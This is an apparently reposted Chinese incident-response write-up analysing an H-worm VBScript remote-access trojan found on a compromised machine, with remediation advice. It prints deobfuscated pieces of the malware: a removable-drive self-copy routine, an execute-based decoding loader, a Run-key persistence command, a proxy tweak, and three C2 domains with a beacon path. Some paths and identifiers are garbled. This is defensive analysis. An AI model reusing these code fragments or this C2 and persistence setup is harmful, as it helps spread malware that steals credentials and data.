H-worm应该是相对比较老的木马了,主要是利用vb来写的,
通过X情报平台可以看到已关联到相关的家族
H-WORM家族远控木马分析
- 开发与传播:H-WORM借鉴了njRAT的开源代码,服务端为使用VBS脚本编写,适用于Windows全系操作系统。早在2013年就被发现用于对国外能源机构的攻击,曾在中东地区流行,后在全球范围内活跃。
- 传播方式:主要通过携带病毒的电子邮件附件和恶意链接传播扩散,也会通过U盘、移动硬盘等可移动存储设备进行传播。
- 技术特点
- 通信方式:使用先进的user-agent传递数据的方式,通过HTTP协议的POST请求与主控端通信,可通过检测HTTP协议POST请求中是否包含“/is-ready”字符串来快速感知感染情况。
- 功能特性:具有开启U盘感染的功能,能通过在U盘等可移动存储设备上创建大量指向病毒的LNK文件,实现横向传播扩散。可实现对被感染系统的完全控制,包括断开连接、重启、关机、搜集密码、上传日志、下载执行程序、启动各类插件、执行CMD命令、枚举进程、启动键盘记录程序等。
- 危害影响
- 数据安全:攻击者可获取被感染设备上的敏感信息,如账号密码、文件数据等,可能导致用户隐私泄露、企业商业机密被盗等。
- 系统稳定:木马可能会对系统进行破坏或干扰,导致系统运行不稳定、出现异常,甚至可能使系统瘫痪。
- 网络威胁:被感染的设备可能成为攻击者进一步攻击其他设备或网络的跳板,增加网络的安全风险。
H-WORM家族远控木马处置
- 预防措施
- 加强邮件管理:加强邮件服务器对邮件附件和正文中链接的检测能力,避免打开不受信任来源的电子邮件,尤其是带有附件和外部链接内容的邮件。
- 规范软件下载:避免从非信任渠道下载游戏、破解软件和注册机等程序,以防感染木马。
- 部署安全软件:部署腾讯御点终端安全管理系统等安全软件,防御病毒木马攻击;使用腾讯御界高级威胁检测系统检测未知黑客的各种可疑攻击行为。
- 感染后的处置
- 使用杀毒软件:使用腾讯电脑管家等杀毒软件进行查杀,清除已知的H-WORM病毒文件。
- 手动清理:删除相关文件,如%appdata%vpo0918001.js、%temp%vpo0918001.js、%appdata%lkdsuakrem.js、%temp%lkdsuakrem.js以及全局启动目录下的相关JS文件。删除注册表项,如HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunvpo0918001.js、HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunlkdsuakrem.js。
- 系统修复与加固:及时更新操作系统补丁,修复可能存在的安全漏洞。对系统进行安全加固,如关闭不必要的端口和服务,限制用户权限等。
2. 样本分析
2.1. 样本概述
经现场取证,定位到相关的IP地址,使用微步自研的威胁检测工具,发现两个进程和这个C2来通信,经现场确认以及结合人工的分析最终确定攻击者利用白加黑的方式来加载恶意的文件,其中wscript为系统的白文件 。
使用Processhacker对wscript进行分析,可以看到其是典型的白加黑的利用:
C:WindowsSystem32wscript.exe" //D "C:UsersvbccsbAppDataRoamingMicrosoft Office\Microsoft Word.WsF
直接到相关目录,未发现Microsoft Word.WsF文件,但是利用dir /AH可以看到相关的文件,说明此说明是存在的,应该是被隐藏了隐藏的属性,直接去掉相关的隐藏属性。
直接去掉相关的隐藏属性,定位到相关的文件。可以看到文件在2020年2月23日16:24被创建。
看一下文件的内容,vb脚本,并且文件做了混淆,很难读。
样本的MD5如下,感兴趣的可以通过s.threatbook.cn下载来分析一下:f95f3b5f721a690955b55465bc46ae15
https://s.threatbook.com/report/file/313e3a7017eb6330def1411a7b5cfbd7e03c974f9863c02bc6a73a94b95f02a5
样本是经过混淆的
2.2. 白加黑利用
一般情况下,vb和wsf脚本可以利用wscirpt和cscript来白加载。
2.2.1. Wscript白利用
这里面是典型的白加黑的利用,通过wscript来加载恶意的shellcode,wscript的命令如下所示:
2.2.2. CScript白利用
cscript的命令语法如下所示:
//B 批模式:不显示脚本错误及提示信息
//D 启用 Active Debugging
//E:engine 使用执行脚本的引擎
//H:CScript 将默认的脚本宿主改为 CScript.exe
//H:WScript 将默认的脚本宿主改为 WScript.exe (默认)
//I 交互模式(默认,与 //B 相对)
//Job:xxxx 执行一个 WSF 工作
//Logo 显示徽标(默认)
//Nologo 不显示徽标:执行时不显示标志
//S 为该用户保存当前命令行选项
//T:nn 超时设定秒:允许脚本运行的最长时间
//X 在调试器中执行脚本
//U 用 Unicode 表示来自控制台的重定向 I/O
2.2.3. wsf脚本
关于wsf脚本的格式可参考下面链接:
https://www.anquanke.com/post/id/84325
2.3. 样本手工还原
2.3.1. 文件替换
对该样本进行分析,可以看到里面使用大量的文件替换:
MSA=rePLaCE(MSA,"?","0"):
MSA=rePLaCE(MSA,"^","1"):
MSA=rePLaCE(MSA,"|","2"):
MSA=rePLaCE(MSA,"","3"):
MSA=rePLaCE(MSA,"","3"):
MSA=rePLaCE(MSA,"/","4"):
MSA=rePLaCE(MSA,"_","5"):
MSA=rePLaCE(MSA,"}","6"):
MSA=rePLaCE(MSA,"+","7"):
MSA=rePLaCE(MSA,"-","8"):
MSA=rePLaCE(MSA,"؟","9"):
直接把这些还原以后,文件大概如下面这个样子,还不是标准的
2.3.2. execute解码
再分析样本的最后几行,可以看到有execute这个函数,将下面的execute内容进行解码:
exeCUTE(I(77)&I(83)&I(65)&I(61)&I(32)&I(83)&I(112)
&I(76)&I(105)&I(84)&I(40)&I(77)&I(83)&I(65)&I(44)&I(34)
&I(37)&I(34)&I(41)&I(13)&I(10)&I(70)&I(79)&I(82)&I(32)
&I(85)&I(83)&I(77)&I(65)&I(32)&I(61)&I(32)&I(49)&I(32)
&I(84)&I(79)&I(32)&I(117)&I(98)&I(79)&I(85)&I(110)&I(68)
&I(40)&I(77)&I(83)&I(65)&I(41)&I(13)&I(10)&I(74)
&I(83)&I(75)&I(61)&I(74)&I(83)&I(75)&I(43)&I(99)
&I(72)&I(82)&I(40)&I(77)&I(83)&I(65)&I(40)&I(85)
&I(83)&I(77)&I(65)&I(41)&I(47)&I(49)&I(56)&I(41)
&I(13)&I(10)&I(78)&I(69)&I(88)&I(84)&I(13)&I(10)
&I(101)&I(88)&I(101)&I(67)&I(85)&I(84)&I(69)&I(40)
&I(74)&I(83)&I(75)&I(41)):
fUncTiOn I(BR):I=CHr(BR):eNd fUnCtIoN
为了方便的话可以使用chatcpt来解码,解码以后内容如下:
MSA = SPLIT(MSA, "%")
FOR USMA = 1 TO UBOUND(MSA)
JSK = JSK + CHR(MSA(USMA) / 18)
NEXT
EXECUTE(JSK)
Function I(BR)
I=Chr(BR)
End Function
其他代码过于繁长不再这里展示
总的来说就是处理MAS,然后execute 执行
如果处理完mas变量后,大致的vbs结果如下,可以看到还是读不懂
通过AI编写脚本,到最后可以进行直接分析出结果
3.功能分析
核心变量
NH1=maroco.myq-see.com:862
NH2=maroco.linkpc.net:862
NH3=maroco.redirectme.net:862
Ar=Microsoft Word.WsF
NHR=%appdata%
NHV=Microsoft Office
NHS=startup
NTP=%temp%
US1=TRUE -
US2=FALSE -
WR=wscript.exe //D //
WX=wscript.shell
WJ=scripting.filesystemobject
WL=msxml2.xmlhttp
3.1. 传播方式
通过对这个家族的传播方式分析,其有以下传播方式:
U盘
电子邮件
.lnk快捷方式
其代码里面有相关的感染代码,其功能为:
扫描计算机上的所有可移动磁盘,将当前 VBScript 文件复制到这些磁盘的根目录
将其重命名为 "microsoft word.wsf"
如果磁盘根目录中已经存在名为 "microsoft word.wsf" 的文件,则将其设置为 "隐藏" 和 "只读"
创建.lnk文件,诱导用户点击
if drive.isready=true then if drive.freespace>0 then if drive.drivetype=1 then aw.copyfile wscript.scriptfullname,drive.path&chr(92)µsoft word.wsf,true
for each drive in aw.drives
if drive.isready=true then if drive.freespace>0 then if drive.drivetype=1 then aw.copyfile wscript.scriptfullname,drive.path&chr(92)µsoft word.wsf,true
if aw.fileexists(drive.path&chr(92)µsoft word.wsf)then aw.getfile(drive.path&chr(92)µsoft word.wsf).attributes=2+4
end if
for each file in aw.getfolder(drive.path&chr(92)).files
if not au then exit for
end if
3.2. C2通信
从多个远程服务器下载到本地计算机的指定文件夹中(%appdata%)µsoft office)
a.通过HTTP POST向C2发送is-ready指令,并向远程服务器发送计算机的敏感信息,例如计算机名称、IP 地址、操作系统版本号等等,相关C2为:
maroco.linkpc.net:862/is-rinoy
maroco.myq-see.com:862/is-rinoy
maroco.redirectme.net:862/is-rinoy
b.解析并执行后台指令
c.sleep一段时间
从多个远程服务器下载到本地计算机的指定文件夹中(%appdata%)µsoft office)
microsoft word.wsfray(maroco.myq-see.com:862,mmicrosoft word.wsfoco.linkpc.net:862
mmicrosoft word.wsfoco.redirectme.net:862)
wscript.createobject(wx).expandenvironmentstrings(%appdata%)µsoft office
3.3. RAT功能分析
H-worm的RAT主要是在njRAT的基础之上修改过来的,相关的功能如下:
njRAT的功能如下,可以看到其整体的界面还是非常像的:
H-worm本身具有RAT功能,其会在后台接收对方的命令,可执行的指令如下所示:
https://github.com/AhmetHan/h-worm_houdini/blob/master/h-worm_houdini_vbs_rat_source_code
3.4. 持久化
az.regwscript.exeite chr(72)&chr(75)
&chr(69)&chr(89)&chr(95)&chr(67)&chr(85)&chr(82)
&chr(82)&chr(69)&chr(78)&chr(84)&chr(95)&chr(85)
&chr(83)&chr(69)&chr(82)&chr(92)&chr(115)&chr(111)
&chr(102)&chr(116)&chr(119)&chr(97)&chr(114)&chr(101)
&chr(92)&chr(109)&chr(105)&chr(99)&chr(114)&chr(111)
&chr(115)&chr(111)&chr(102)&chr(116)&chr(92)&chr(119)
&chr(105)&chr(110)&chr(100)&chr(111)&chr(119)&chr(115)
&chr(92)&chr(99)&chr(117)&chr(114)&chr(114)&chr(101)
&chr(110)&chr(116)&chr(118)&chr(101)&chr(114)&chr(115)
&chr(105)&chr(111)&chr(110)&chr(92)&chr(114)&chr(117)
&chr(110)&chr(92)&split(microsoft word.wsf,chr(46))(0),
wscript.exe&chr((17+17))&axµsoft word.wsf&chr((17+17)),
chr(82)&chr(69)&chr(71)&chr(95)&chr(83)&chr(90)
reg add HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun /v "microsoft word" /t REG_SZ /d "wscript.exe ""microsoft word.wsf""" /f
其实就是写入注册表
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun
创建一个名为Microsoft Word的项
其内容为:wscript.exe //D "C:UsersxxxAppDataRoamingMicrosoft Office\Microsoft Word.WsF"
3.5. 启用代理
将ProxyByPass值设置为1
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionInternet SettingsZoneMap
s沙箱对样本进行分析:
https://s.threatbook.com/report/file/313e3a7017eb6330def1411a7b5cfbd7e03c974f9863c02bc6a73a94b95f02a5?sign=history&env=win7_sp1_enx86_office2013
使用joesecurity对样本进行分析:
https://www.joesandbox.com/analysis/162983/0/html
WSF脚本详解:JS和VBS互调用:
http://www.taodudu.cc/news/show-5032459.html?action=onClick
https://github.com/AhmetHan/h-worm_houdini/blob/master/houdini_yara
https://infosecarsenal.blogspot.com/2019/01/h-worm-by-houdini-vbs-rat-threat.html
https://www.mandiant.com/resources/blog/now-you-see-me-h-worm-by-houdini
RAT功能分析:
https://github.com/brian8544/njRAT
https://github.com/DilayYT/njRAT-v0.6.4-by-njq8
原文始发于微信公众号(Ice ThirdSpace):应急响应案例-32.H-worm木马分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论